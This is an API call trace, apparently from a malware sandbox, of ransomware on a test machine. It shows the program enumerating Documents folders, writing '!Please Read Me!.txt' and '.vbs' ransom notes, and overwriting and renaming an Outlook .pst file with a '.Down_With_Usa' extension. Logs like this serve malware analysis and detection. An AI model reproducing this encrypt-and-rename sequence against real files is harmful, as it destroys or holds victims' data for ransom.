[0120.653] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0120.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0120.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.662] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31
[0120.662] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x32
[0120.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31
[0120.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x32
[0120.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba30) returned 1
[0120.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0120.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31
[0120.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31
[0120.677] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0120.677] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd90) returned 1
[0120.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x46
[0120.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0120.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.683] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35
[0120.683] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36
[0120.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.684] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.684] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1
[0120.684] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.684] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.685] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35
[0120.685] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36
[0120.685] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.685] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.685] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1
[0120.685] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0
[0120.685] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c
[0120.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.686] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x42400
[0120.687] ReadFile (in: hFile=0x3a8, lpBuffer=0x15203368, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x15203368*, lpNumberOfBytesRead=0x2eb8d8*=0x42400, lpOverlapped=0x0) returned 1
[0120.838] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c
[0120.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0120.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0120.851] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c
[0120.851] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0120.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0120.851] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x247d9be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x42410)) returned 1
[0120.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0120.852] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.down_with_usa")) returned 1
[0120.852] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0120.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35
[0120.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35
[0120.853] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0120.853] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.853] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0120.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0120.855] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x4a
[0120.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x4a
[0120.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.862] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", lpFilePart=0x0) returned 0x2d
[0120.862] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\", lpFilePart=0x0) returned 0x2e
[0120.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.862] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.862] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9ca8e0, ftCreationTime.dwHighDateTime=0x1d5df87, ftLastAccessTime.dwLowDateTime=0x3e91b00, ftLastAccessTime.dwHighDateTime=0x1d5dc3a, ftLastWriteTime.dwLowDateTime=0x3e91b00, ftLastWriteTime.dwHighDateTime=0x1d5dc3a, nFileSizeHigh=0x0, nFileSizeLow=0xffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3fUOD.odp", cAlternateFileName="")) returned 1
